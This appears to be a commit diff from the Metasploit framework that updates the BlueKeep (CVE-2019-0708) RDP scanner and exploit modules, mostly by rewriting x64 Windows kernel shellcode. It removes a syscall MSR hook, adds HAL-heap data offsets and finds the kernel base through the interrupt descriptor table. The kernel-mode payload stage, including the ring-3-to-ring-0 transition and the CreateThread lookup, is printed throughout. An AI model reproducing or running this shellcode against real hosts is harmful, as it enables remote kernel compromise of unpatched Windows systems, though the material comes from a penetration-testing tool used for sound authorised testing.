Land #12553, Meltdown fix for BlueKeep exploit
This commit is contained in:
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-0708' ],
|
||||
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
|
||||
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
|
||||
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2019-05-14',
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -79,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[
|
||||
['CVE', '2019-0708'],
|
||||
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
|
||||
['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
@@ -404,7 +405,11 @@ _egg_loop:
|
||||
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
|
||||
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
|
||||
|
||||
data_kapc_offset = 0x10
|
||||
data_kapc_offset = 0x30
|
||||
|
||||
data_hal_original_syscall_shadow_common_offset_offset = 0x20
|
||||
data_hal_fake_syscall_spinlock_offset = 0x10
|
||||
|
||||
data_nt_kernel_addr_offset = 0x8
|
||||
data_origin_syscall_offset = 0
|
||||
data_peb_addr_offset = -0x10
|
||||
@@ -426,51 +431,26 @@ _egg_loop:
|
||||
|
||||
asm = %Q^
|
||||
shellcode_start:
|
||||
; egg tag
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
; IRQL is DISPATCH_LEVEL when got code execution
|
||||
|
||||
push rbp
|
||||
setup_syscall_shadow_hook:
|
||||
; IRQL is PASSIVE_LEVEL when got code execution
|
||||
;int 0x3
|
||||
|
||||
call set_rbp_data_address_fn
|
||||
mov rbp, #{hal_heap_storage}
|
||||
|
||||
; read current syscall
|
||||
mov ecx, 0xc0000082
|
||||
rdmsr
|
||||
; do NOT replace saved original syscall address with hook syscall
|
||||
lea r9, [rel syscall_hook]
|
||||
cmp eax, r9d
|
||||
je _setup_syscall_hook_done
|
||||
|
||||
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
|
||||
cmp dword [rbp+#{data_origin_syscall_offset}], eax
|
||||
je _hook_syscall
|
||||
|
||||
; save original syscall
|
||||
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
|
||||
mov dword [rbp+#{data_origin_syscall_offset}], eax
|
||||
|
||||
; first time on the target
|
||||
mov byte [rbp+#{data_queueing_kapc_offset}], 0
|
||||
|
||||
_hook_syscall:
|
||||
; set a new syscall on running processor
|
||||
; setting MSR 0xc0000082 affects only running processor
|
||||
xchg r9, rax
|
||||
push rax
|
||||
pop rdx ; mov rdx, rax
|
||||
shr rdx, 32
|
||||
wrmsr
|
||||
|
||||
_setup_syscall_hook_done:
|
||||
pop rbp
|
||||
|
||||
;--------------------- HACK crappy thread cleanup --------------------
|
||||
; This code is effectively the same as the epilogue of the function that calls
|
||||
; the vulnerable function in the kernel, with a tweak or two.
|
||||
; allow interrupts while executing shellcode
|
||||
sti
|
||||
call r3_to_r0_start
|
||||
cli
|
||||
|
||||
;--------------------- HACK crappy thread cleanup --------------------
|
||||
; This code is effectively the same as the epilogue of the function that calls
|
||||
; the vulnerable function in the kernel, with a tweak or two.
|
||||
; TODO: make the lock not suck!!
|
||||
mov rax, qword [gs:0x188]
|
||||
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
|
||||
@@ -487,88 +467,6 @@ _setup_syscall_hook_done:
|
||||
pop rdi
|
||||
ret
|
||||
|
||||
;--------------------- END HACK crappy thread cleanup
|
||||
|
||||
;========================================================================
|
||||
; Find memory address in HAL heap for using as data area
|
||||
; Return: rbp = data address
|
||||
;========================================================================
|
||||
set_rbp_data_address_fn:
|
||||
; On idle target without user application, syscall on hijacked processor might not be called immediately.
|
||||
; Find some address to store the data, the data in this address MUST not be modified
|
||||
; when exploit is rerun before syscall is called
|
||||
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
|
||||
|
||||
; ------ HACK rbp wasnt valid!
|
||||
|
||||
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??
|
||||
|
||||
; --------- HACK end rbp
|
||||
|
||||
_set_rbp_data_address_fn_next:
|
||||
;shr rbp, 12
|
||||
;shl rbp, 12
|
||||
;sub rbp, 0x70 ; for KAPC struct too
|
||||
ret
|
||||
|
||||
;int 3
|
||||
;call $+5
|
||||
;pop r13
|
||||
syscall_hook:
|
||||
swapgs
|
||||
mov qword [gs:0x10], rsp
|
||||
mov rsp, qword [gs:0x1a8]
|
||||
push 0x2b
|
||||
push qword [gs:0x10]
|
||||
|
||||
push rax ; want this stack space to store original syscall addr
|
||||
; save rax first to make this function continue to real syscall
|
||||
push rax
|
||||
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
|
||||
call set_rbp_data_address_fn
|
||||
mov rax, [rbp+#{data_origin_syscall_offset}]
|
||||
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
|
||||
mov [rsp+0x10], rax
|
||||
|
||||
; save all volatile registers
|
||||
push rcx
|
||||
push rdx
|
||||
push r8
|
||||
push r9
|
||||
push r10
|
||||
push r11
|
||||
|
||||
; use lock cmpxchg for queueing APC only one at a time
|
||||
xor eax, eax
|
||||
mov dl, 1
|
||||
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
|
||||
jnz _syscall_hook_done
|
||||
|
||||
;======================================
|
||||
; restore syscall
|
||||
;======================================
|
||||
; an error after restoring syscall should never occur
|
||||
mov ecx, 0xc0000082
|
||||
mov eax, [rbp+#{data_origin_syscall_offset}]
|
||||
mov edx, [rbp+#{data_origin_syscall_offset}+4]
|
||||
wrmsr
|
||||
|
||||
; allow interrupts while executing shellcode
|
||||
sti
|
||||
call r3_to_r0_start
|
||||
cli
|
||||
|
||||
_syscall_hook_done:
|
||||
pop r11
|
||||
pop r10
|
||||
pop r9
|
||||
pop r8
|
||||
pop rdx
|
||||
pop rcx
|
||||
pop rbp
|
||||
pop rax
|
||||
ret
|
||||
|
||||
r3_to_r0_start:
|
||||
; save used non-volatile registers
|
||||
push r15
|
||||
@@ -581,8 +479,9 @@ r3_to_r0_start:
|
||||
;======================================
|
||||
; find nt kernel address
|
||||
;======================================
|
||||
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel
|
||||
shr r15, 0xc ; strip to page size
|
||||
mov r15, qword [gs:0x38] ; get IdtBase of KPCR
|
||||
mov r15, qword [r15 + 0x4] ; get ISR address
|
||||
shr r15, 0xc ; strip to page size
|
||||
shl r15, 0xc
|
||||
|
||||
_x64_find_nt_walk_page:
|
||||
@@ -993,7 +892,6 @@ _find_kernel32_dll_loop:
|
||||
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
|
||||
jnz _find_kernel32_dll_loop
|
||||
|
||||
;int3
|
||||
mov r15, [rax+0x20]
|
||||
mov edi, #{createthread_hash}
|
||||
call get_proc_addr
|
||||
|
||||
Reference in New Issue
Block a user